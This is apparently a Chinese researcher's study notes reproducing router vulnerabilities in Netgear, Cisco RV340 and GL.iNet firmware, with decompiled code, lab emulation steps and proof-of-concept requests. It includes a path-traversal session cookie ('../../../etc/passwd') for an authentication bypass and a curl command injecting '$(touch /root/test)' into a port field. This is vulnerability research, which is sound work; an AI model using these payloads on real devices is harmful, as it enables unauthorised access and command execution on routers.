一些路由器漏洞复现 前言 一些漏洞的学习笔记,比较的潦草,只是记录一下😊😊😊😊
Netgear R7000P v1.3.3.154 被发现通过 wiz_pptp.cgi 上的 pptp_user_netmask 参数存在堆栈溢出。此漏洞允许攻击者通过精心设计的 POST 请求引发拒绝服务 (DoS)。
固件链接:https://www.netgear.com/support/product/r7000p/#download
usr/sbin/httpd
没找到!
Netgear XR300 v1.0.3.78、R7000P v1.3.3.154 和 R6400 v2 1.0.4.128 被发现通过 bsw_pppoe.cgi 的 pppoe_localip 参数包含堆栈溢出。此漏洞允许攻击者通过精心设计的 POST 请求引发拒绝服务 (DoS)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 case 4: if ( input_length > *limits ) return -1; for ( check_index2 = 0; check_index2 < input_length; ++check_index2 ) { char_code4 = (unsigned __int8)input_str[check_index2]; is_invalid_number4 = char_code4 > '.'; if ( char_code4 != '.' ) is_invalid_number4 = (unsigned __int8)(char_code4 - '0') > 9u; if ( is_invalid_number4 ) return -1; } sscanf(input_str, "%[^.].%[^.].%[^.].%s", ip_buffer1, ip_buffer2, ip_buffer3, ip_buffer4); //栈溢出 if ( !ip_buffer1[0] ) return -1; if ( strlen(ip_buffer1) > 3 ) return -1;
input_str
最大长度为2048,但是ip_buffer1-4
的长度都很小,且没有开始的判断,数字的溢出Dos
CVE-2022-20705 RV340的环境搭建: 从报错出发,尝试解决影响较大的报错,辅以调试或者寻找资料https://www.yuque.com/cyberangel/rg9gdm/zz75e4
Cisco Small Business RV160、RV260、RV340 和 RV345 系列路由器中的多个漏洞可能允许攻击者执行以下任何操作:执行任意代码、提升权限、执行任意命令、绕过身份验证和授权保护、获取并运行未签名的软件、导致拒绝服务 (DoS)
该CVE主要是利用了nginx配置不恰当导致的授权绕过漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 location /form-file-upload { include uwsgi_params; proxy_buffering off; uwsgi_modifier1 9; uwsgi_pass 127.0.0.1:9003; uwsgi_read_timeout 3600; uwsgi_send_timeout 3600; } location /upload { set $deny 1; if (-f /tmp/websession/token/$cookie_sessionid) { set $deny "0"; } if ($deny = "1") { return 403; } upload_pass /form-file-upload; upload_store /tmp/upload; upload_store_access user:rw group:rw all:rw; upload_set_form_field $upload_field_name.name "$upload_file_name"; upload_set_form_field $upload_field_name.content_type "$upload_content_type"; upload_set_form_field $upload_field_name.path "$upload_tmp_path"; upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5"; upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size"; upload_pass_form_field "^.*$"; upload_cleanup 400 404 499 500-505; upload_resumable on; }
因为$cookie_sessionid可控,所以可以将其指向../../../etc/passwd,就可以绕过登录。该问题产生的根本原因在于($cookie_sessionid可控导致目录穿越)
写个Poc测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requests url='https://192.168.121.128/upload' headers_1={'Cookie':'sessionid=cyberangel'} # 非法的sessionid headers_2={'Cookie':'sessionid=../../../etc/passwd'} # 伪造的sessionid r_1 = requests.post(url,headers=headers_1,verify=False) r_2 = requests.post(url,headers=headers_2,verify=False) print(r_1.text) print("-"*50) print(r_2.text) r_1.close() r_2.close() ~/fr/_/_/_f/_/_openwrt-comcerto2000-hgw-r/ubifs-root/1161918421 -------------------------------------------------------------- > python3 test1.py <html> <head><title>403 Forbidden</title></head> <body bgcolor="white"> <center><h1>403 Forbidden</h1></center> <hr><center>nginx</center> </body> </html> -------------------------------------------------- <html> <head><title>400 Bad Request</title></head> <body bgcolor="white"> <center><h1>400 Bad Request</h1></center> <hr><center>nginx</center> </body> </html>
可以发现换了一种报错,说明就是绕过去了,但是后续还有检查
1 upload_pass /form-file-upload;
指定当文件上传完成后,将请求转发到 /form-file-upload
路径
1 2 3 4 5 6 7 8 location /form-file-upload { include uwsgi_params; proxy_buffering off; uwsgi_modifier1 9; uwsgi_pass 127.0.0.1:9003; uwsgi_read_timeout 3600; uwsgi_send_timeout 3600; }
调用了uwsgi_params,通过127.0.0.1:9003,全局搜索:
1 2 3 4 5 6 7 8 9 10 11 12 13 [uwsgi] plugins = cgi workers = 1 master = 1 uid = www-data gid = www-data socket=127.0.0.1:9003 buffer-size=4096 cgi = /www/cgi-bin/upload.cgi cgi-allowed-ext = .cgi cgi-allowed-ext = .pl cgi-timeout = 300 ignore-sigpipe = true
调用upload.cgi对其进行处理,分析upload.cgi
1 2 3 4 5 6 7 8 9 10 11 12 13 14 if ( httpCookieEnv ) { StrBufSetStr(parsedCookieBuffer, httpCookieEnv); httpCookieEnv = 0; cookieValue = (char *)StrBufToStr(parsedCookieBuffer); for ( parsedToken = strtok_r(cookieValue, ";", &strtokSavePtr); parsedToken; parsedToken = strtok_r(0, ";", &strtokSavePtr) )// strtok对每一个;进行切割,并传递;前的参数 { sessionIdPtr = strstr(parsedToken, "sessionid=");// 找到;sessionid= if ( sessionIdPtr ) httpCookieEnv = sessionIdPtr + 10; // 这是sessionid=value的value } }
此处从httpCookie寻找;sessionid=value
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 else if ( !strcmp(requestUriEnv, "/upload") && httpCookieEnv && strlen(httpCookieEnv) - 0x10 <= 0x40// sessionid的长度<=0x40 && !match_regex("^[A-Za-z0-9+=/]*$", httpCookieEnv) )// 正则匹配,字母和数字 { destinationParsed = parsedDestinationBuffer; uploadOption = parsedOptionBuffer; parameterType = parsedFileTypeBuffer; completeFileBufferPath = StrBufToStr(filePathWrapperBuffer); sub_12684( httpCookieEnv, destinationParsed, uploadOption, parameterType, completeFileBufferPath, parsedCertNameBuffer, parsedCertTypeBuffer, parsedPasswordBuffer); }
要求存在sessionid,因此还要设置sessionid
如此便可未授权上传文件
1 2 3 import request url='https://192.168.121.128/upload' headers={'Cookie':'sessionid=../../../etc/passwd;sessionid='}
浏览器cookie条目为:Y2lzY28vMTkyLjE2OC4xMjEuMTM4LzIyMjA=(base64解码为cisco/192.168.121.138/2220)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 root@Router:~/rootfs/tmp/websession# cat session { "max-count":1, "cisco":{ "Y2lzY28vMTkyLjE2OC4xMjEuMTM4LzIyMjA=":{ "user":"cisco", "group":"admin", "time":2344, "access":1, "timeout":1800, "leasetime":0 } } }root@Router:~/rootfs/tmp/websession# cat ./token/Y2lzY28vMTkyLjE2OC4xMjEuMTM4LzIyMjA\= import requests url='https://192.168.121.128/upload' headers={'Cookie':'sessionid=../../../etc/passwd;sessionid=Y2lzY28vMTkyLjE2OC4xMjEuMTM4LzIyMjA=;'} r = requests.post(url,headers=headers,verify=False) print(r.text) ~/fr/_/_/_f/_/_openwrt-comcerto2000-hgw-r/ubifs-root/1161918421 -------------------------------------------------------------- > python3 test2.py <html> <head><title>400 Bad Request</title></head> <body bgcolor="white"> <center><h1>400 Bad Request</h1></center> <hr><center>nginx</center> </body> </html>
这时候仔细分析upload.cgi
1 2 3 4 5 6 if ( !parsedFilePathBuffer ) { puts("Content-type: text/html\n"); printf("Error Input"); goto LABEL_36; }
这个地方得跳过,因此file.path需存在
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 int __fastcall sub_115D0(const char *a1, const char *a2, const char *a3) { bool v3; // zf const char *v8; // r4 int v9; // r4 char s[316]; // [sp+Ch] [bp-13Ch] BYREF v3 = a3 == 0; if ( a3 ) v3 = a1 == 0; if ( v3 ) return -1; if ( !strcmp(a1, "Firmware") ) { v8 = "/tmp/firmware"; } else if ( !strcmp(a1, "Configuration") ) { v8 = "/tmp/configuration"; } else if ( !strcmp(a1, "Certificate") ) { v8 = "/tmp/in_certs"; } else if ( !strcmp(a1, "Signature") ) { v8 = "/tmp/signature"; } else if ( !strcmp(a1, "3g-4g-driver") ) { v8 = "/tmp/3g-4g-driver"; } else if ( !strcmp(a1, "Language-pack") ) { v8 = "/tmp/language-pack"; } else if ( !strcmp(a1, "User") ) { v8 = "/tmp/user"; } else { if ( strcmp(a1, "Portal") ) return -1; v8 = "/tmp/www"; } if ( !is_file_exist(a2) ) return -2; if ( strlen(a2) > 0x80 || strlen(a3) > 0x80 ) return -3; if ( match_regex((int)"^[a-zA-Z0-9_.-]*$", (int)a3) ) return -4; sprintf(s, "mv -f %s %s/%s", a2, v8, a3); debug("cmd=%s", s); if ( !s[0] ) return -1; v9 = system(s); if ( v9 < 0 ) error((int)"upload.cgi: %s(%d) Upload failed!", (int)"prepare_file", (const char *)0xB3); return v9; }
这个是上传文件的逻辑,因此a1和a3也得存在,即pathparam和fileparam
CVE-2022-20707 一些函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 int __fastcall json_object_object_add(int a1, const char *a2, int a3) { int v6; // r0 int v7; // r4 int v8; // r4 char *v9; // r0 int result; // r0 v6 = j_lh_table_lookup_entry(*(_DWORD *)(a1 + 24)); v7 = v6; if ( v6 ) { result = *(_DWORD *)(v6 + 4); if ( result ) result = j_json_object_put(); *(_DWORD *)(v7 + 4) = a3; } else { v8 = *(_DWORD *)(a1 + 24); v9 = strdup(a2); return j_lh_table_insert(v8, (int)v9, a3); } return result; }
这段代码是一个用于向 JSON 对象中添加键值对的函数。它使用了一个哈希表来存储对象的键值对。以下是对代码的详细分析:
参数 :
a1
:表示 JSON 对象的指针。
a2
:表示要添加的键。
a3
:表示要添加的值。
在sub_12684中,如果传入的文件类型是Firmware:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 int __fastcall sub_117E0(int destination, int fileparam, int uploadOption) { bool isZeroFlag; // zf int jsonObjRpc; // r5 int jsonObjParams; // r4 int jsonObjInput; // r7 int jsonObjSource; // r10 int jsonObjDestination; // r8 int jsonStrRpcVersion; // r0 int jsonStrMethod; // r0 int jsonStrRpcAction; // r0 int jsonStrFileType; // r0 int locationUrlStr; // r0 int jsonStrLocationUrl; // r0 int jsonStrFirmwareState; // r0 int jsonStrRebootType; // r0 int jsonObjFirmwareOption; // [sp+4h] [bp-34h] int strBuf; // [sp+Ch] [bp-2Ch] BYREF isZeroFlag = fileparam == 0; if ( fileparam ) isZeroFlag = destination == 0; if ( isZeroFlag ) return 0; if ( !uploadOption ) return 0; jsonObjRpc = json_object_new_object(); jsonObjParams = json_object_new_object(); jsonObjInput = json_object_new_object(); jsonObjSource = json_object_new_object(); jsonObjDestination = json_object_new_object(); jsonObjFirmwareOption = json_object_new_object(); strBuf = StrBufCreate(); StrBufSetStr(strBuf, "FILE://Firmware/"); StrBufAppendStr(strBuf, fileparam); jsonStrRpcVersion = json_object_new_string("2.0"); json_object_object_add(jsonObjRpc, (int)"jsonrpc", jsonStrRpcVersion); jsonStrMethod = json_object_new_string("action"); json_object_object_add(jsonObjRpc, (int)"method", jsonStrMethod); json_object_object_add(jsonObjRpc, (int)"params", jsonObjInput); jsonStrRpcAction = json_object_new_string("file-copy"); json_object_object_add(jsonObjInput, (int)"rpc", jsonStrRpcAction); json_object_object_add(jsonObjInput, (int)"input", jsonObjParams); jsonStrFileType = json_object_new_string("firmware"); json_object_object_add(jsonObjParams, (int)"fileType", jsonStrFileType); json_object_object_add(jsonObjParams, (int)"source", jsonObjSource); locationUrlStr = StrBufToStr(strBuf); jsonStrLocationUrl = json_object_new_string(locationUrlStr); json_object_object_add(jsonObjSource, (int)"location-url", jsonStrLocationUrl); json_object_object_add(jsonObjParams, (int)"destination", jsonObjDestination); jsonStrFirmwareState = json_object_new_string(destination); json_object_object_add(jsonObjDestination, (int)"firmware-state", jsonStrFirmwareState); json_object_object_add(jsonObjParams, (int)"firmware-option", jsonObjFirmwareOption); jsonStrRebootType = json_object_new_string(uploadOption); json_object_object_add(jsonObjFirmwareOption, (int)"reboot-type", jsonStrRebootType); StrBufFree(&strBuf); return jsonObjRpc; }
简单分析得出jsonObjRpc是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 { "jsonrpc": "2.0", "method": "action", "params": { "rpc": "file-copy", "input": { "fileType": "firmware", "source": { "location-url": "FILE://Firmware/[fileparam]" }, "destination": { "firmware-state": "[destination]" }, "firmware-option": { "reboot-type": "[uploadOption]" } } } }
然后接下来是
1 2 3 4 5 6 7 8 9 10 11 json_object = operation_result; if ( !operation_result ) goto LABEL_19; json_string = (const char *)json_object_to_json_string(operation_result); sprintf( curl_command_buffer, "curl %s --cookie 'sessionid=%s' -X POST -H 'Content-Type: application/json' -d '%s'", url, session_id, json_string); curl_output_file = popen(curl_command_buffer, "r");
可以看到json_string是通过operation_result得到的,而opration_result就是上述的json结果,而json部分字符串是可控的,因此显然可以进行命令的注入
CVE-2022-20700(会话伪造) 通过上述命令执行的漏洞,创建/tmp/websession/下的文本文件(虽然到了最后,环境还是没有成功依靠自己启起来,但是我用了cyberangel师傅之前启用的debian,也是成功啦!!!!!太ql)
PSV-2020-0211(栈溢出利用RCE) netgear R8300 1.0.2.130 的upnp中存在栈溢出的漏洞,主要学习利用手法 ,NVram hook手法,Poc编写 以及 调试技巧
**UPnP (Universal Plug and Play)**:现在由开放连接基金会管理的是一套网络协议,它允许网络设备无缝地发现彼此在网络上的存在,并为数据共享、通信和娱乐建立功能网络服务。
UPnP会将某个端口连接到多播组 ,即允许接收其他客户端传输数据(一对多)【或许就是通过这个来使得网络设备可以无缝发现彼此扒】
漏洞看着是很简单的,但是由于sub_25E04是通过strcpy来栈溢出的,因此\x00截断便是不可绕过的障碍,而原作者的利用手法值得学习
启动服务:这次使用用户模式运行
因为涉及到nvram,使用LD_PRELOAD Hook技术,网上有人已经写好了针对netgear R6250/6400的nvram hook,对于R8300也是适用的 https://github.com/therealsaumil/custom_nvram/blob/master/custom_nvram_r6250.c
使用buildroot进行交叉编译
1 2 3 4 cd ~/buildroot-2024.11/output/host/bin export PATH=$PATH:$(pwd) arm-linux-gcc -c -O2 -fPIC -Wall ./nvram1.c -o ./nvram1.o arm-linux-gcc -shared -nostdlib ./nvram1.o -o ./nvram1.so
之后创建/tmp/nvram.ini
1 2 3 4 5 6 7 8 9 10 11 12 13 14 upnpd_debug_level=9 lan_ipaddr=192.168.122.167 hwver=R8500 friendly_name=R8300 upnp_enable=1 upnp_turn_on=1 upnp_advert_period=30 upnp_advert_ttl=4 upnp_portmap_entry=1 upnp_duration=3600 upnp_DHCPServerConfigurable=1 wps_is_upnp=0 upnp_sa_uuid=00000000000000000000 lan_hwaddr=AA:BB:CC:DD:EE:FF
之后的lan_ipaddr还要连接,因此要把ip起起来
1 2 sudo ip addr add 192.168.122.167/24 dev virbr0 ip addr show virbr0
显示对应的ip就代表成功啦
之后
1 2 3 4 5 sudo chroot . ./qemu-arm-static -E LD_PRELOAD="./nvram1.so ./lib/libdl.so.0" ./usr/sbin/upnpd sudo lsof -i | grep qemu qemu-arm- 6267 root 3u IPv4 93141 0t0 UDP *:1900 qemu-arm- 6267 root 4u IPv4 93142 0t0 UDP *:45791 qemu-arm- 6267 root 5u IPv4 93143 0t0 TCP *:5000 (LISTEN)
如此程序就起起来了,就可以开始Poc的编写了
调试:
1 sudo chroot . ./qemu-arm-static -g 1234 -E LD_PRELOAD="./nvram1.so ./lib/libdl.so.0" ./usr/sbin/upnpd
一开始傻呗了,忘记了用户模式可以直接调试,直接attach pid调试调的是qemu的进程()
main函数中有
1 2 3 4 5 6 if ( daemon(1, 1) == -1 ) { debug(3, "Fail to run as daemon"); v13 = _errno_location(); exit(*v13); }
daemon使得当前进程会变成守护进程并保持工作目录不变,但是这个会让该进程脱离gdb的控制,考虑nop掉,成功~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 R0 0x61616161 ('aaaa') R1 0xfffed504 ◂— 0x61616161 ('aaaa') R2 0xfffed504 ◂— 0x61616161 ('aaaa') R3 0x61616161 ('aaaa') R4 0x61 R5 0xfffed500 ◂— 0x61616161 ('aaaa') R6 0xfffed504 ◂— 0x61616161 ('aaaa') R7 0xfffed500 ◂— 0x61616161 ('aaaa') R8 0xfffed504 ◂— 0x61616161 ('aaaa') R9 0x10ab R10 0x1 R11 0xc4584 ◂— 7 R12 0x553dc —▸ 0xff60393c ◂— push {r4, lr} /* 0xe92d4010 */ SP 0xfffeceb8 ◂— 0x61616161 ('aaaa') PC 0xff603954 ◂— ldrb ip, [r3] /* 0xe5d3c000 */ ──────────────────────────────────────────────────────────[ DISASM / arm / set emulate on ]────────────────────────────────────────────────────────── 0xff603948 ldrb r4, [r2] 0xff60394c cmp r4, #0 0xff603950 popeq {r4, pc} ► 0xff603954 ldrb ip, [r3] 0xff603958 cmp r4, ip 0xff60395c addeq r2, r2, #1 0xff603960 addeq r3, r3, #1 0xff603964 beq #0xff603948 <0xff603948> ↓ 0xff603948 ldrb r4, [r2] 0xff60394c cmp r4, #0 0xff603950 popeq {r4, pc} ──────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────── 00:0000│ sp 0xfffeceb8 ◂— 0x61616161 ('aaaa') 01:0004│ 0xfffecebc —▸ 0xb62c ◂— subs r7, r0, #0 /* 0xe2507000 */ 02:0008│ 0xfffecec0 —▸ 0xfffedefd ◂— 0x61616161 ('aaaa') 03:000c│ 0xfffecec4 —▸ 0xfffed574 ◂— 0x61616161 ('aaaa') 04:0010│ 0xfffecec8 —▸ 0x8df9 ◂— 0xad 05:0014│ 0xfffececc —▸ 0xfffef5f4 ◂— mrchs p9, #1, r3, c2, c1, #1 /* 0x2e323931; '192.168.122.1' */ 06:0018│ 0xfffeced0 —▸ 0xfffed500 ◂— 0x61616161 ('aaaa') 07:001c│ 0xfffeced4 —▸ 0x25e80 ◂— subs sl, r0, #0 /* 0xe250a000 */ ────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────── ► f 0 0xff603954 ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
发送大量数据就成功发现栈溢出漏洞
漏洞利用:
1 2 3 4 5 6 7 8 frimware/_R8300-V1.0.2.130_1.0.99.chk.extracted/squashfs-root > checksec ./usr/sbin/upnpd [*] '/home/s1nec-1o/frimware/_R8300-V1.0.2.130_1.0.99.chk.extracted/squashfs-root/usr/sbin/upnpd' Arch: arm-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8000)
没pie,就启用了nx
SSD
公开的漏洞细节 中给出了一个方案:通过 stack reuse
的方式来绕过该限制。具体思路为,先通过 socket
发送第一次数据,往栈上填充相应的 rop payload
,同时保证不会造成程序崩溃;再通过 socket
发送第二次数据用于覆盖栈上的返回地址,填充的返回地址用来实现 stack pivot
,即劫持栈指针使其指向第一次发送的 payload
处,然后再复用之前的 payload
以完成漏洞利用。SSD
公开的漏洞细节中的示意图如下。
这里借用的ROP有
1 2 3 .text:000230F0 ADD SP, SP, #0x20C .text:000230F4 ADD SP, SP, #0x1000 .text:000230F8 POP {R4-R11,PC}
升栈并且pop出所有关键寄存器,如此只需要提前构造好对应的payload就可以进行ROP啦!
但是我在构造的时候总是发现它会失败,就算是运行的是发布者写的poc()总是断在一些奇怪的地方,研究许久后放弃,了解利用手法即可,reuse stack!
CVE-2024-39226 1 curl -H 'glinet: 1' 127.0.0.1/rpc -d '{"method":"call", "params":["", "s2s", "enable_echo_server", {"port": "7 $(touch /root/test)"}]}'
这是Poc,发现通过本地/rpc访问,因此看/rpc的api
1 2 3 location = /rpc { content_by_lua_file /usr/share/gl-ngx/oui-rpc.lua; }
通过/usr/share/gl-ngx/oui-rpc.lua;文件处理
定义了多种方法,Poc中使用call方法给出params变量(oui-rpc.lua定义了很多的方法,通过参数method传入)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 local function rpc_method_call(id, params) if #params < 3 then ---params 至少三个参数 local resp = rpc.error_res ponse(id, rpc.ERROR_CODE_INVALID_PARAMS) ngx.say(cjson.encode(resp)) return end local sid, object, method, args = params[1], params[2], params[3], params[4] -- "" "s2s" "enable_echo_server" "{"port": "7 $(touch /root/test)"}" if type(sid) ~= "string" or type(object) ~= "string" or type(method) ~= "string" then local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS) ngx.say(cjson.encode(resp)) return end if args and type(args) ~= "table" then ---- 上述为一些参数类型的验证 local resp = rpc.error_response(id, rpc.ERROR_CODE_INVALID_PARAMS) ngx.say(cjson.encode(resp)) return end ngx.ctx.sid = sid if not rpc.is_no_auth(object, method) then if not rpc.access("rpc", object .. "." .. method) then --- 通过本地调用是不需要进行身份验证的 local resp = rpc.error_response(id, rpc.ERROR_CODE_ACCESS) ngx.say(cjson.encode(resp)) return end end local res = rpc.call(object, method, args) --- 调用rpc.lua 下的 call 并传入参数 if type(res) == "number" then local resp = rpc.error_response(id, res) ngx.say(cjson.encode(resp)) return end if type(res) ~= "table" then res = {} end local resp = rpc.result_response(id, res) ngx.say(cjson.encode(resp)) end M.call = function(object, method, args) -- s2s enable_echo_server {"port": "7 $(touch /root/test)"} ngx.log(ngx.DEBUG, "call: '", object, ".", method, "'") if not objects[object] then local script = "/usr/lib/oui-httpd/rpc/" .. object if not fs.access(script) then --- 调用 fs 的 access函数,即判断是否存在该 脚本 return glc_call(object, method, args) end local ok, tb = pcall(dofile, script) -- 使用 pcall 安全执行 dofile 加载脚本 ,tb是函数表 if not ok then --- 因为 s2s.so 是二进制脚本 无法正常pcall加载 调用glc_call ngx.log(ngx.ERR, tb) return glc_call(object, method, args) end if type(tb) == "table" then local funs = {} for k, v in pairs(tb) do if type(v) == "function" then funs[k] = v end end objects[object] = funs end end local fn = objects[object] and objects[object][method] --- 无法调用 if not fn then return glc_call(object, method, args) ---使用glc_call 参数s2s enable_echo_server {....} end return fn(args) end
调用glc_call:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 local function glc_call(object, method, args) --- s2s enable_echo_server {....} ngx.log(ngx.DEBUG, "call C: '", object, ".", method, "'") local res = ngx.location.capture("/cgi-bin/glc", { ---- 发起一个内部请求到 /cgi-bin/glc POST请求 参数如下(这是Openresty平台的lua用法) method = ngx.HTTP_POST, body = cjson.encode({ object = object, method = method, args = args or {} }) }) if res.status ~= ngx.HTTP_OK then return M.ERROR_CODE_INTERNAL_ERROR end local body = res.body local code = tonumber(body:match("(-?%d+)")) if code ~= M.ERROR_CODE_NONE then local err_msg = body:match("%d+ (.+)") if err_msg then ngx.log(ngx.ERR, err_msg) end return code end local msg = body:match("%d+ (.*)") return cjson.decode(msg) end
/cgi-bin/glc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 snprintf(rpc_lib_path, 0x80u, "%s/%s.so", "/usr/lib/oui-httpd/rpc", v30);//v30由params[1]传入,为s2s dl_handle = dlopen(rpc_lib_path, 2); // 动态加载共享库 dl_handle_copy = dl_handle; if ( !dl_handle ) { dl_error_msg = dlerror(); printf("%d dlopen: %s", -32601, dl_error_msg); goto LABEL_37; } json_rpc_function = (int (__fastcall *)(int, int))dlsym(dl_handle, name); //加载符号 name由params[2]传入 if ( json_rpc_function ) { if ( argc > 3 ) json_params = json_loads((int)argv[3], 0, 0); // json_params if ( !json_params ) json_params = ::json_object(); json_object_new = ::json_object(); json_response_object = json_object_new; if ( logging_enabled ) { __gl_log(69505, 116, 0, "glc call meth %s/%s\n", v30, name); json_rpc_return = json_rpc_function(json_params, json_response_object); // 以json_params为参数调用json_rpc_function,即上述params[1]的params[2]函数 __gl_log(69505, 118, 0, "glc call end,ret = %d\n", json_rpc_return); printf("%d", json_rpc_return); if ( json_rpc_return ) { LABEL_30: sub_10990(json_params); sub_10990(json_response_object); goto LABEL_41; } json_response_str = (const char *)json_dumps(json_response_object, 0); __gl_log(69505, 121, 0, "glc call result %s\n", json_response_str); } else { json_rpc_call = json_rpc_function(json_params, json_object_new); printf("%d", json_rpc_call); if ( json_rpc_call ) goto LABEL_30; } final_response_str = (const char *)json_dumps(json_response_object, 0); printf(" %s", final_response_str); goto LABEL_30; }
可以得到调用的是s2s.so文件的enable_echo_server函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 backupValue = *(_DWORD *)off_16FC0; memset(commandBuffer, 0, sizeof(commandBuffer)); portObject = json_object_get(jsonInput, "port"); ///从参数中获取port键值对 portString = (const char *)json_string_value(portObject); //获取键值 if ( *portString ) { portValue = portString; if ( atoi(portString) > 0 && atoi(portValue) <= 65534 ) /// 只比较了大小,没有检查类型 { if ( check_file_is_exist("/usr/bin/echo_server") ) { formatCommand = (void (*)(_BYTE *, int, const char *, ...))snprintf_0; snprintf_0(commandBuffer, 128, "kill -9 $(pgrep -f \"%s\")", "/usr/bin/echo_server"); executeCommand = (int (__fastcall *)(_BYTE *))system_0; system_0(commandBuffer); formatCommand(commandBuffer, 128, "%s -p %s -f", "/usr/bin/echo_server", portValue);//命令执行 commandOutput = executeCommand(commandBuffer);
可以看到这个命令注入显然是执行本地注入的